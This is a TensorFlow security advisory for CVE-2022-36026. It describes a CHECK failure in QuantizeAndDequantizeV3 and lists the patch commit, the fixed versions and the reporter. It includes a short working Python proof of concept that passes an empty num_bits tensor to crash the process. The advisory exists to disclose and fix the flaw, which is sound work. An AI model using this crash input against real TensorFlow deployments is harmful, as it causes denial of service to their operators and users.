🛡️ CVE-2022-36026 — tensorflow

TensorFlow vulnerable to CHECK fail in QuantizeAndDequantizeV3

Impact

If QuantizeAndDequantizeV3 is given a nonscalar num_bits input tensor, it results in a CHECK fail that can be used to trigger a denial of service attack.

```python

import tensorflow as tf

signed_input = True

range_given = False

narrow_range = False

axis = -1

input = tf.constant(-3.5, shape=[1], dtype=tf.float32)

input_min = tf.constant(-3.5, shape=[1], dtype=tf.float32)

input_max = tf.constant(-3.5, shape=[1], dtype=tf.float32)

num_bits = tf.constant([], shape=[0], dtype=tf.int32)

tf.raw_ops.QuantizeAndDequantizeV3(input=input, input_min=input_min, input_max=input_max, num_bits=num_bits, signed_input=signed_input, range_given=range_given, narrow_range=narrow_range, axis=axis)

```

Patches

We have patched the issue in GitHub commit [f3f9cb38ecfe5a8a703f2c4a8fead434ef291713](https://github.com/tensorflow/tensorflow/commit/f3f9cb38ecfe5a8a703f2c4a8fead434ef291713).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.